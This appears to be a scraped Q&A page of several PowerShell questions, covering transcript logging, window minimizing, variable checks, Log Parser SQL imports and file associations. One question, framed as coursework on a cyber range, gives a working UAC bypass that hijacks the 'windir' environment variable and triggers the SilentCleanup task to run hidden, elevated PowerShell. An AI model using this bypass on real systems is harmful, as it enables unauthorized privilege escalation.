Add logging quickly to an existing set of powershell scripts - powershell

I've got a collection of powershell scripts, some of which call others. Some of these subscripts can also be called on their own as needed. How can I quickly add logging to all of the scripts so that any script invocation results in a log file for later examination?
There are a number of questions dealing with logging with some great answers, like this one. But I wanted to see what we could come up with that:
required minimal touching of the existing powershell files
automatically dealt with script A.ps1 calling script B.ps1. If you call
A.ps1, A.ps1 needs to start and finish the logging. But if you call B.ps1
directly, B.ps1 does.
I came up with my answer below, and wanted to share and see if there were other ideas on how to approach this, or suggestions for improvement on my answer.

The support code I write (further down) allows for just adding the following to each ps1 file. It automatically gives me logging regardless of if a script is called at top-level or by another script:
#any params for script
. "$PSScriptRoot\ps_support.ps1"
StartTranscriptIfAppropriate
try
{
#all of the original script
}
finally
{
ConditionalStopTranscript
}
The code that powers this is in ps_support.ps1, sitting next to my collection of powershell files that need logging. It uses Get-Variable and Set-Variable to manipulate a couple variables at the caller's scope level:
Logging__TranscriptStarted is normal so sub-scopes can see that
logging is already happening and not try to start it again.
Logging__TranscriptStartedPrivate is private so a scope can know if
it is responsible for stopping the logging.
Here is ps_support.ps1:
Set-Variable -name TranscriptStartedPropertyName -opt ReadOnly -value 'Logging__TranscriptStarted'
Set-Variable -name TranscriptStartedPrivatePropertyName -opt ReadOnly -value 'Logging__TranscriptStartedPrivate'
function StartTranscriptIfAppropriate
{
$transcriptStarted = [bool](Get-Variable -name $TranscriptStartedPropertyName -ErrorAction Ignore)
if (-not $transcriptStarted)
{
$callstack = get-pscallstack
$fullPath = $callstack[$callstack.count-2].ScriptName
$name = Split-Path -Path $fullPath -Leaf
$directory = Split-Path -Path $fullPath
$logDirectory = [IO.Path]::GetFullPath("$directory\..\scripts_logs")
md -force $logDirectory | out-null
$logFinalPath = "$logDirectory\$(Get-Date -Format o | foreach {$_ -replace ":", "."})_$name.log"
Set-Variable -scope 1 -name $TranscriptStartedPropertyName -value $True
Set-Variable -scope 1 -option private -name $TranscriptStartedPrivatePropertyName -value $True
Start-Transcript $logFinalPath | Write-Host
}
$immediateCallerPath = Get-Variable -scope 1 -name PSCommandPath -ValueOnly
Write-Host "Starting script at $immediateCallerPath"
}
function ConditionalStopTranscript
{
$immediateCallerPath = Get-Variable -scope 1 -name PSCommandPath -ValueOnly
Write-Host "Stopping script at $immediateCallerPath"
$transcriptStartedByMe = [bool](Get-Variable -scope 1 -name $TranscriptStartedPrivatePropertyName -ErrorAction Ignore)
if ($transcriptStartedByMe)
{
Stop-Transcript | Write-Host
}
}

Related

How to minimize the window for foo.exe after bar.exe opens

I'm re-writting a batch file that combined powershell and cmd commands to be strictly a powershell script, and I'm looking for a way to minimize/close the API confirmation window which pops up in the user's web browser after the application the script calls on starts.
My original batch file code looked like this using a shell object to minimize everything before moving on to the next command:
cd /d "%userprofile%\Desktop\streamblastoff\libraries\binaries\Snip"
start Snip.exe
timeout /t 1 /nobreak
powershell -command "(new-object -com shell.application).minimizeall()"
And this is what I have so far:
Push-Location -Path $PSScriptRoot\libraries\binaries\snip
Start-Process .\Snip.exe; (new-object -com shell.application).minimizeall()
Pop-Location
It doesn't work though, everything minimizes before the browser window appears ... which I guess I should have seen coming. Ideally I'd like to do it all a bit cleaner in my new script, and be able to close/minimize the specific tab once the window pops up in the users default browser, but I'm not sure if that'd be possible ...
needing to minimize a users default browser window after the first application starts
# First application.
$bar = "powershell"
# First application starts.
Start-Process -FilePath $bar
# Get Default Browser
$foo = Get-ItemPropertyValue -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice" -Name 'ProgId' |
ForEach-Object {
Get-ItemPropertyValue -Path "Registry::HKEY_CLASSES_ROOT\$_\shell\open\command" -Name '(default)'
} |
ForEach-Object {
$_ -match '^"([^"]+\.exe)"' | Out-Null
$matches[1]
} |
ForEach-Object {
Get-Item -Path $_
} |
ForEach-Object {
$_.BaseName
}
# End Get Default Browser
Function minimizeProcess
{
Param(
[Parameter(Mandatory=$true,
ValueFromPipeline=$true,
HelpMessage="Input a System.Diagnostics.Process object.")]
[System.Diagnostics.Process] $Process
)
Begin
{
# P/Invoke Definition
$signature = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
# Compile new class.
$myType = Add-Type -MemberDefinition $signature -Name MyClass -Namespace MyNamespace -PassThru
}
Process
{
# Minimize the window.
# For different display actions see:
# https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
$myType::ShowWindowAsync($Process.MainWindowHandle, 7) | Out-Null
}
}
# Minimize $foo if $bar is running.
if ((Get-Process | ForEach-Object { $_.Name }) -contains $bar)
{
Get-Process -Name $foo |
ForEach-Object {
$process = Get-CimInstance Win32_Process -Filter "ProcessID = '$($_.Id)'"
$owner = Invoke-CimMethod -InputObject $process -MethodName GetOwner
Add-Member -InputObject $_ -NotePropertyName Owner -NotePropertyValue $owner.User
$_
} |
# Only minimize processes that belong to the user.
Where-Object { $_.Owner -like $env:USERNAME } |
ForEach-Object {
minimizeProcess $_
# foo minimizes.
}
}
PowerShell cmdlet to open a URL in the user's default browser. ยท GitHub
How to find the default browser via the registry on Windows 10 - Stack Overflow
PowerShell P/Invoke Walkthrough | Precision Computing
Add-Type (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Docs
Process.WaitForInputIdle Method (System.Diagnostics) | Microsoft Docs
Process.MainWindowHandle Property (System.Diagnostics) | Microsoft Docs
ShowWindowAsync function (winuser.h) - Win32 apps | Microsoft Docs
powershell - Get-Process and Process Owner - Stack Overflow
.net - How do I determine the owner of a process in C#? - Stack Overflow
everything minimizes before the browser window appears
The error you were making was you did not copy the sleep.
Push-Location -Path $PSScriptRoot\libraries\binaries\snip
Start-Process .\Snip.exe
# timeout /t 1 /nobreak
Start-Sleep 1
(new-object -com shell.application).minimizeall()
Pop-Location
When creating macros, you have to insert sleeps to accommodate delays in the graphical user interface.
Start-Sleep (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Docs
Timeout - delay in seconds - Windows CMD - SS64.com
be able to close/minimize the specific tab
SeleniumHQ Browser Automation

ScriptBlock should only be specified error in powershell script

I am trying to create a script that bypasses UAC for my Cybersecurity class. For testing, I am having it create a text file on the desktop, but I get anerror when I try to run the following
if ((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match 'S-1-5-32-544')) {
Set-Content C:\Users\student\Desktop\joe.txt 'joe mama'
} else {
$registryPath = 'HKCU:\Environment'
$Name = 'windir'
$Value = 'powershell -ep bypass -w h $PSCommandPath;#'
Set-ItemProperty -Path $registryPath -Name $name -Value $Value
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null
Remove-ItemProperty -Path $registryPath -Name $name
}
Sorry for bad cropping I would copy and paste it but I am using a machine on a cyber range and I can't select text because my trackpad is broken
error
I invoke it using powershell -Command ((if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match 'S-1-5-32-544')) {;Set-Content C:\Users\student\Desktop\joe.txt 'joe mama';} else {;$registryPath = 'HKCU:\Environment';$Name = 'windir';$Value = 'powershell -ep bypass -w h $PSCommandPath;#';Set-ItemProperty -Path $registryPath -Name $name -Value $Value;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null;Remove-ItemProperty -Path $registryPath -Name $name;};))
You have an unexpected token error on line:1 char:163. If you look at that line and investigate, you should be able to find your issue. Usually has to deal with syntax. You're passing in an awful lot of code into the -Command parameter. Saving it to a script and calling it might produce better results. Also, I am not sure why you're enclosing the command with double (( )). Passing it as a script block should work: Powershell -Command {SOME CODE}
If you're using Powershell 5.1, You can reference the manual here.

Powershell ignore errors or warnings

I had downloaded a powershell module called SecurityFever. In this lib there is a code part:
# Get the global impersonation context
$globalImpersonationContext = Get-Variable -Name 'ImpersonationContext' -Scope 'Global'
# Global variable to hold the impersonation context
if ($null -eq $globalImpersonationContext) {
$stack = New-Object -TypeName 'System.Collections.Generic.Stack[System.Security.Principal.WindowsImpersonationContext]'
New-Variable -Name 'ImpersonationContext' -Value $stack -Option ReadOnly -Scope Global -Force
}
it is absolutely clear what it is and what it wants to do, but when I execute this I got red lines in the console window:
Get-Variable : Cannot find a variable with the name
'ImpersonationContext'. At SecurityFever.psm1:2427 char:35
+ ... onContext = Get-Variable -Name 'ImpersonationContext' -Scope 'Global' ...
I think it is because the get-variable does not found this global variable for the 1st time. I am wondering
how to suppress this error without modifying the external lib source code,
or how to do a thing like this - checking if a variable exists or not.
I tried to create the expected global variable before the function call
ImpersonationContext = New-Object -TypeName 'System.Collections.Generic.Stack[System.Security.Principal.WindowsImpersonationContext]'
or
$global:ImpersonationContext = New-Object -TypeName 'System.Collections.Generic.Stack[System.Security.Principal.WindowsImpersonationContext]'
but somehow then it becomes a kind of PSVariable, and the code says
Method invocation failed because [System.Management.Automation.PSVariable] does not contain a method named 'Pop'.
I am not an expert in PowerShell, and I can say I totally can't understand why. :(
From here, you can use Test-Path with a special syntax to check for your variable. You can do something like this -
if (Test-Path variable:global:ImpersonationContext)
{
write-host "The variable ImpersonationContext exists in the global scope"
}
else
{
$stack = New-Object -TypeName 'System.Collections.Generic.Stack[System.Security.Principal.WindowsImpersonationContext]'
New-Variable -Name 'ImpersonationContext' -Value $stack -Option ReadOnly -Scope Global -Force
}

Powershell MSUtil.LogQuery not closing SQL connection

I've written a PowerShell scrip that iterates through a large number of IIS W3C logfiles and inserts the values into a MSSQL database.
Set-Variable -Name "UnprocessedDir" -Value "X:\files" -Description "Folder for unprocessed log files" Scope Script
Set-Variable -Name "InputObject" -Value (New-Object -comObject MSUtil.LogQuery.IISW3CInputFormat) -Description "Log Parser input COM object" -Scope Script
Set-Variable -Name "OutputObject" -Value (New-Object -comObject MSUtil.LogQuery.SQLOutputFormat) -Description "Log Parser output COM object" -Scope Script
$OutputObject.clearTable = $false
$OutputObject.createTable = $false
$OutputObject.database = "Database_Name"
$OutputObject.driver = "SQL Server"
$OutputObject.dsn = "DSN_Name"
$OutputObject.fixColNames = $true
$OutputObject.ignoreIdCols = $true
$OutputObject.ignoreMinWarns = $true
$OutputObject.maxStrFieldLen = 511
$OutputObject.oConnString = $null
$OutputObject.password = $null
$OutputObject.server = "sqlserver.domain.com\INSTANCENAME"
$OutputObject.transactionRowCount = 5000
$OutputObject.username = $null
Set-Variable -Name "IISLogs" -Value #(Get-ChildItem -Path $UnprocessedDir -Recurse -File) -Description "Array of files to be imported into SQL" -Scope Script
Set-Variable -Name "LPComObj" -Value (New-Object -com MSUtil.LogQuery) -Description "COM Object used to import Log Parser records into MSSQL" -Scope Script
Write-Output "$(Get-ISOTimeStamp) Beginning SQL import. $($IISLogs.Count) Files to be imported"
$IISLogs | ForEach-Object { $loop = 0 } {
Set-Variable -Name "SubDir" -Value $(($_.FullName).Split('\')[-2]) -Description "Subdirectory where log file is located" -Scope Script
Set-Variable -Name "LogType" -Value $(($_.FullName).Split('\')[-3]) -Description "Type of log being imported" -Scope Script
Set-Variable -Name "ServerName" -Value $(($_.FullName).Split('\')[-4]) -Description "ServerName of file being imported" -Scope Script
Set-Variable -Name "LPQuery" -Description "Query to use in Log Parser" -Scope Script -Value #"
SELECT
-- FIELDS LogFilename,LogRow,date,time,c-ip,cs-username,s-sitename,s-computername,s-ip,s-port,cs-method,cs-uri-stem,cs-uri-query,sc-status,sc-substatus,sc-win32-status,sc-bytes,cs-bytes,time-taken,cs-version,cs-host,cs(User-Agent),cs(Cookie),cs(Referer),s-event,s-process-type,s-user-time,s-kernel-time,s-page-faults,s-total-procs,s-active-procs,s-stopped-procs
-- STANDARD FIELDS date,time,s-ip,cs-method,cs-uri-stem,cs-uri-query,s-port,cs-username,c-ip,cs(User-Agent),cs(Referer),sc-status,sc-substatus,sc-win32-status,time-taken
'$($ServerName)' as [servername],
'$($_.Name)' as [filename],
LogRow AS [row],
'$($LogType)' as [logtype],
TO_TIMESTAMP(date,time) AS [timestamp],
[s-ip],
[cs-method],
[cs-uri-stem],
[cs-uri-query],
TO_INT([s-port]),
[cs-username],
[c-ip],
[cs(User-Agent)],
[cs(Referer)],
TO_INT([sc-status]),
TO_INT([sc-substatus]),
TO_INT([sc-win32-status]),
TO_INT([time-taken]),
0 AS lock
INTO IIS_W3C
FROM '$($_.FullName)'
"#
Set-Variable -Name "LPResult" -Value ($LPComObj.ExecuteBatch($LPQuery, $InputObject, $OutputObject)) -Description "IIS Log File imported into SQL" -Scope Script
If ($LPResult -eq $false)
{
Write-Output "$(Get-ISOTimeStamp) Data imported from `"$($_.FullName)`""
Set-Variable -Name "loop" -Value ($loop + 1) -Description "Increase loop iteration Count" -Scope Script
}
Else
{
Write-Output "$(Get-ISOTimeStamp) Log Parser returned errors importing `"$($_.FullName)`""
Throw "$(Get-ISOTimeStamp) Log Parser returned errors importing `"$($_.FullName)`""
}
}
The number of logs I'm importing is tens of thousands; the code above works spectacularly for a few hundred files, but after a few hours, it crashes. From what I can tell, it looks like every iteration of the ForEach-Object loop creates a new SQL TCP connection which is not terminated at the end of the loop.
I've tried creating the $LPComObj both within and outside of the loop. I've tried Remove-Variable. I've tried some generic commands like $LPComObj.Close(), .Remove(), .Quit(), etc. The MSUtil.LogQuery method itself does not seem to contain any methods to close the SQL TCP connection, and as the script is running, I can see more and more TCP connections piling up. I tried a few things using [System.Runtime.Interopservices.Marshal]:: to release/remove the COM object, but none of them closed the TCP connection. Even closing the PowerShell session doesn't kill the connection.
The only way I was able to do this is by hunting down and finding the dllhost.exe" process that was using the ports and killing it. But from within the script, there isn't a clean way to get the PID of the offending dllhost.exe process. (Trying to kludge some variant of Get-Process | Stop-Process might work, but would add a lot of time to the execution of the script.)
What other ways might I be able to work around this problem?

Powershell script making swf extension open with internet explorer

I am trying to figure out how to write a powershell script that will set all .swf extensions to open up on Internet Explorer. I was trying to do this with a command prompt similar to the example below. Unfornately my boss is requiring this to be done through powershell. Any help with this would be greatly appreciated since I have a txt file that will loop through about 400 computers and need to make these changes on.
CMD Way
C:\>ASSOC .swf
.swf=ShockwaveFlash.ShockwaveFlash
C:\>FTYPE ShockwaveFlash.ShockwaveFlash
ShockwaveFlash.ShockwaveFlash="C:\bin\FlashPlayer.exe" %1
What I am Trying:
Function Get-FileName{
[CmdletBinding()]
Param(
[String]$Filter = "|*.*",
[String]$InitialDirectory = "C:\")
[void][System.Reflection.Assembly]::LoadWithPartialName("System.windows.forms")
$OpenFileDialog = New-Object System.Windows.Forms.OpenFileDialog
$OpenFileDialog.initialDirectory = $InitialDirectory
$OpenFileDialog.filter = $Filter
[void]$OpenFileDialog.ShowDialog()
$OpenFileDialog.filename
}
$file = Get-FileName -InitialDirectory $env:USERPROFILE\Desktop -Filter "Text files (*.txt)|*.txt|All files (*.*)|*.*"
ForEach ($item in (Get-Content $file)) {
$sitem = $item.Split("|")
$computer = $sitem[0].Trim()
$user = $sitem[1].Trim()
cmd /c assoc .swf=InternetExplorer.Application
### Will the above line automatically install on every pc? ###
}
Any help with trying to insert how to change the FTYPE in powershell so that $computer can cycle through would be greatly appreciated!
ASSOC and FTYPE are CMD.exe built-in commands, not executables, which means they can only be run in the context of CMD. The easiest way to run them is to invoke CMD from PowerShell.
cmd /c assoc .swf
cmd /c ftype ShockwaveFlash.ShockwaveFlash
If you need a "pure" PowerShell implementation, then you need to go to the registry. ASSOC and FTYPE merely write to the registry under theHKEY_CLASSES_ROOT hive. PowerShell does not have a default PSDrive for HKCR:, but that hive is also accessible under HKLM:\Software\Classes.
$ext = '.swf'
$HKCR = 'HKLM:\Software\Classes'
$ftype = Get-ItemProperty -Path "$HKCR\$ext" | select -expand '(default)'
$commandLine = Get-ItemProperty -Path "$HKCR\$ftype\shell\open" | select -expand '(default)'
$commandLine
To update these values, you simply use Set-ItemProperty on the same path.
Set-ItemProperty -Path "$HKCR\$ext" -Name '(default)' -Value 'ShockwaveFlash.ShockwaveFlash'
This requires you to run with Admin privileges. This also assumes that the key already exists. If not, you will have to create it with New-Item
if (-not (Test-Path "$HKCR\$ext")) {
New-Item -Path "$HKCR\$ext"
}
However, if all you want to do is set .swf files to open in iexplore.exe, then retrieving the values is unnecessary, as is modifying the FTYPE key. You need only change the extension association to InternetExplorer.Application instead of ShockwaveFlash.ShockwaveFlash. The following full scripts will do this:
In Batch file:
assoc .swf=InternetExplorer.Application
In PowerShell:
cmd /c assoc .swf=InternetExplorer.Application
In "pure" PowerShell, by modifying the registry:
$key = "HKLM:\Software\Classes\.swf"
$defaultName = '(default)'
$newValue = 'InternetExplorer.Application'
if (-not (Test-Path $key)) {
New-Item -Path $key
}
Set-Itemproperty -Path $key -Name $defaultName -Value $newValue
Note that modifying the registry doesn't take effect immediately. You need to also send a WM_SETTINGCHANGE event, or simply restart explorer.exe (eg: by logging off). You can find code to send the event here, but usually this isn't a problem for automated scripts because they force the user to re-login anyway.